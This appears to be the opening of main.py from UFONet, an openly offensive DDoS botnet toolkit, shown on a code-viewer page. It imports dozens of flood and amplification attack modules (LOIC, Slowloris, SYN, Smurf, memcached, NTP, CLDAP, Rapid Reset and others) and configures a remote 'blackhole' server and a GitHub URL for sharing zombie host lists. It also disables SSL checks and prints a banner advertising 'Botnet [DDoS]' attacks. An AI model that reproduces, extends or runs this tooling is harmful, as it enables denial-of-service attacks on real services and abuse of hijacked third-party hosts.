main.py 333 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, json, gzip
  12. import urllib.request, urllib.error, urllib.parse
  13. from hashlib import sha1, sha256
  14. from urllib.parse import urlparse
  15. try:
  16. from Cryptodome.Cipher import AES
  17. except ImportError:
  18. from core._ensure import ensure
  19. _m = ensure('Cryptodome.Cipher', 'pycryptodomex')
  20. if _m is None:
  21. print("\n[Error] Something wrong with -crypto- libs... Aborting!\n")
  22. sys.exit()
  23. from Cryptodome.Cipher import AES
  24. from uuid import getnode
  25. from random import randrange, shuffle
  26. from .options import UFONetOptions
  27. from .update import Updater
  28. from .herd import Herd
  29. from .zombie import Zombie
  30. from .doll import Doll
  31. from core.tools.inspector import Inspector
  32. from core.tools.abductor import Abductor
  33. from core.tools.ufoscan import UFOSCAN
  34. from core.mods.loic import LOIC
  35. from core.mods.loris import LORIS
  36. from core.mods.ufosyn import UFOSYN
  37. from core.mods.spray import SPRAY
  38. from core.mods.smurf import SMURF
  39. from core.mods.xmas import XMAS
  40. from core.mods.nuke import NUKE
  41. from core.mods.tachyon import TACHYON
  42. from core.mods.monlist import MONLIST
  43. from core.mods.sniper import SNIPER
  44. from core.mods.memcached import MEMCACHED
  45. from core.mods.chargen import CHARGEN
  46. from core.mods.cldap import CLDAP
  47. from core.mods.ssdp import SSDP
  48. from core.mods.qotd import QOTD
  49. from core.mods.tftp import TFTP
  50. from core.mods.wsdisco import WSDISCO
  51. from core.mods.coap import COAP
  52. from core.mods.mssql import MSSQL
  53. from core.mods.rapidreset import RAPIDRESET
  54. from core.mods.middlebox import MIDDLEBOX
  55. from core.mods.slowread import SLOWREAD
  56. from core.mods.goldeneye import GOLDENEYE
  57. from core.mods.finflood import FINFLOOD
  58. from core.mods.arms import ARMS
  59. from core.mods.plex import PLEX
  60. from core.mods.netbios import NETBIOS
  61. from core.mods.ripv1 import RIPV1
  62. from core.mods.ufoack import UFOACK
  63. from core.mods.uforst import UFORST
  64. from core.mods.droper import DROPER
  65. from core.mods.overlap import OVERLAP
  66. from core.mods.pinger import PINGER
  67. from core.mods.ufoudp import UFOUDP
  68. from core.mods.fraggle import FRAGGLE
  69. DEBUG = False # use 'True' for detailed traceback
  70. class UFONet(object):
  71. def __init__(self):
  72. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  73. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  74. self.crypto_key = "U-NATi0n!" # default cryptkey
  75. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  76. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  77. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  78. self.external_check_service1 = 'https://www.isitdownrightnow.com/check.php?domain='
  79. self.check_tor_url = 'https://check.torproject.org/'
  80. self.check_ip_service1 = 'https://api.ipify.org'
  81. self.check_ip_service2 = 'https://icanhazip.com'
  82. self.check_ip_service3 = 'https://ifconfig.me/ip'
  83. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  84. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  85. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  86. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  87. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  88. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  89. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  90. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  91. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  92. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  93. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  94. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  95. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  96. self.timeline_file = 'docs/VERSION' # set source for code releases
  97. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  98. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  99. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  100. self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
  101. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  102. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  103. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  104. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  105. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  106. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  107. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  108. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  109. self.referer = '' # black magic
  110. self.port = "8080" # default injection port
  111. self.mothershipname = "core/txt/shipname.txt"
  112. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  113. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  114. self.warping_path = '/var/www/ufonet' # set source for warping path
  115. self.warping_folder_permissions = 0o644 # set permission for warping folder
  116. f = open(self.mothership_model_file) # extract mothership model
  117. self.mothership_model = f.readlines()
  118. for model in self.mothership_model:
  119. model = model.rstrip('\n')
  120. self.mothership_model = model
  121. f.close()
  122. self.mothership_baptism() # generating static name/id for your mothership ;-)
  123. self.head = False
  124. self.payload = False
  125. self.external = False
  126. self.attack_mode = False
  127. self.connection_failed = False
  128. self.total_possible_zombies = 0
  129. self.herd = Herd(self)
  130. self.sem = False
  131. self.db_flash = 0 # db stress counter
  132. self.total_aliens = 0
  133. self.aliens_hit = 0
  134. self.aliens_fail = 0
  135. self.total_droids = 0
  136. self.droids_hit = 0
  137. self.droids_fail = 0
  138. self.total_ucavs = 0
  139. self.ucavs_hit = 0
  140. self.ucavs_fail = 0
  141. self.total_rpcs = 0
  142. self.rpcs_hit = 0
  143. self.rpcs_fail = 0
  144. self.total_loic = 0
  145. self.total_loris = 0
  146. self.total_syn = 0
  147. self.total_spray = 0
  148. self.total_smurf = 0
  149. self.total_fraggle = 0
  150. self.total_xmas = 0
  151. self.total_ufoack = 0
  152. self.total_uforst = 0
  153. self.total_droper = 0
  154. self.total_overlap = 0
  155. self.total_pinger = 0
  156. self.total_ufoudp = 0
  157. self.total_nuke = 0
  158. self.total_tachyon = 0
  159. self.total_monlist = 0
  160. self.total_sniper = 0
  161. self.total_zombies_failed_connection = 0
  162. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  163. self.ctx.check_hostname = False
  164. self.ctx.verify_mode = ssl.CERT_NONE
  165. self.nat_error_flag = "OFF"
  166. self.trans_zombies = 0
  167. self.scanned_zombies = 0
  168. self.loadcheck_counter = 0
  169. self.loadcheck_prev_size = None
  170. self.loadcheck_prev_load = None
  171. self.loadcheck_first_size = None
  172. self.loadcheck_first_load = None
  173. self.loadcheck_size_list = []
  174. self.loadcheck_load_list = []
  175. self.loadcheck_size_median = None
  176. self.loadcheck_size_max = None
  177. self.loadcheck_size_min = None
  178. self.loadcheck_load_median = None
  179. self.loadcheck_size_max = None
  180. self.loadcheck_size_min = None
  181. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  182. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  183. self.expire_timing = 30 # default expiring time per round
  184. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  185. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  186. self.globalnet_msg_sep = "#$#" # globalnet stream separator
  187. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  188. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  189. self.trans_5C = self.trans_5C.encode("latin-1")
  190. self.trans_36 = self.trans_36.encode("latin-1")
  191. def mothership_baptism(self):
  192. if os.path.exists(self.mothershipname) == True:
  193. f = open(self.mothershipname)
  194. self.mothership_id = f.read()
  195. f.close()
  196. self._shipname_new = False
  197. else:
  198. self.mothership_ids = []
  199. try:
  200. f = open(self.motherships_file)
  201. motherships = f.readlines()
  202. f.close()
  203. for ship in motherships:
  204. ship = ship.encode("utf-8")
  205. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  206. try:
  207. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  208. except:
  209. try:
  210. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  211. except:
  212. self.mothership_id = self.default_mothership_name
  213. except:
  214. self.mothership_id = self.default_mothership_name
  215. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  216. self.mothership_id = self.default_mothership_name
  217. m = open(self.mothershipname, "w") # write mothership name to a static file
  218. m.write(str(self.mothership_id.upper()))
  219. m.close()
  220. self._shipname_new = True
  221. def create_options(self, args=None):
  222. self.optionParser = UFONetOptions()
  223. self.options = self.optionParser.get_options(args)
  224. if not self.options:
  225. return False
  226. return self.options
  227. def banner_welcome(self):
  228. L, R = 36, 36
  229. def cell(left, right):
  230. return "||" + (left or "").ljust(L) + "#" + (right or "").ljust(R) + "||"
  231. sep = "#|" + ("=" * (L + 1 + R)) + "|#"
  232. rows = [
  233. (" > Botnet [DDoS]", " > Close Combat [DoS]"),
  234. ("", ""),
  235. (" |-> ZOMBIES |-> DROIDS", " |-> LOIC |-> LORIS"),
  236. (" |-> ALIENS |-> UCAVs", " |-> UFOSYN |-> XMAS"),
  237. (" |-> X-RPCs |-> DBSTRESS", " |-> NUKE |-> UFOACK"),
  238. (" |-> SPRAY |-> SMURF", " |-> UFORST |-> DROPER"),
  239. (" |-> TACHYON |-> MONLIST", " |-> OVERLAP |-> PINGER"),
  240. (" |-> FRAGGLE |-> SNIPER", " |-> UFOUDP |-> SLOWREAD"),
  241. (" |-> MEMCACHED |-> CHARGEN", " |-> GOLDENEYE |-> RAPIDRESET"),
  242. (" |-> CLDAP |-> SSDP", " |-> FINFLOOD"),
  243. (" |-> QOTD |-> TFTP", ""),
  244. (" |-> WSDISCO |-> COAP", ""),
  245. (" |-> MSSQL |-> ARMS", ""),
  246. (" |-> PLEX |-> NETBIOS", ""),
  247. (" |-> RIPV1 |-> MIDDLEBOX", ""),
  248. ("", ""),
  249. ]
  250. alien = [
  251. r" ____ ",
  252. r" || / /\ \ || ",
  253. r" -(00)- + (XX) + -(00)- ",
  254. r" || || O ==*~~~~~~*== 0 || || ",
  255. r" -(00)- O|O (0) XX (0) -(00)- ",
  256. r" || _____ |____\| (00) |/______|D___ || ",
  257. r" O+!$(O)! (O) 0'----'0 (O) !(O)$!+O ",
  258. r" |OO OO| .''.( xx ).''. |OO OO| ",
  259. r" **+***.'.' +X|'..'|X+ '.'***+**. ",
  260. r" .-. .' /'--.__|_00_|__.--'\ '. .-. ",
  261. r" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ ",
  262. r" `-' '-'-._'-./ -00- \.-'_.-'-' `-' ",
  263. r" _ | || '-.___||___.-' || | _ ",
  264. r" .' _ | ||==O | __ | O==|| | _ '. ",
  265. r" / .' ''.| || | /_00_\ | || |.'' '. \ ",
  266. r" _ | '### | =| | ###### | |= |' ### | _ ",
  267. r"(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) ",
  268. r" ★ \ '._.' '. | \_##_/ | .' '._.' / ★ ",
  269. r" '.__ ____0_'.|__'--'__|.'_0____ __.' ",
  270. r" .'_.-| YY |-._'. ",
  271. ]
  272. print(alien[0])
  273. print(alien[1] + sep)
  274. print(alien[2] + cell("", ""))
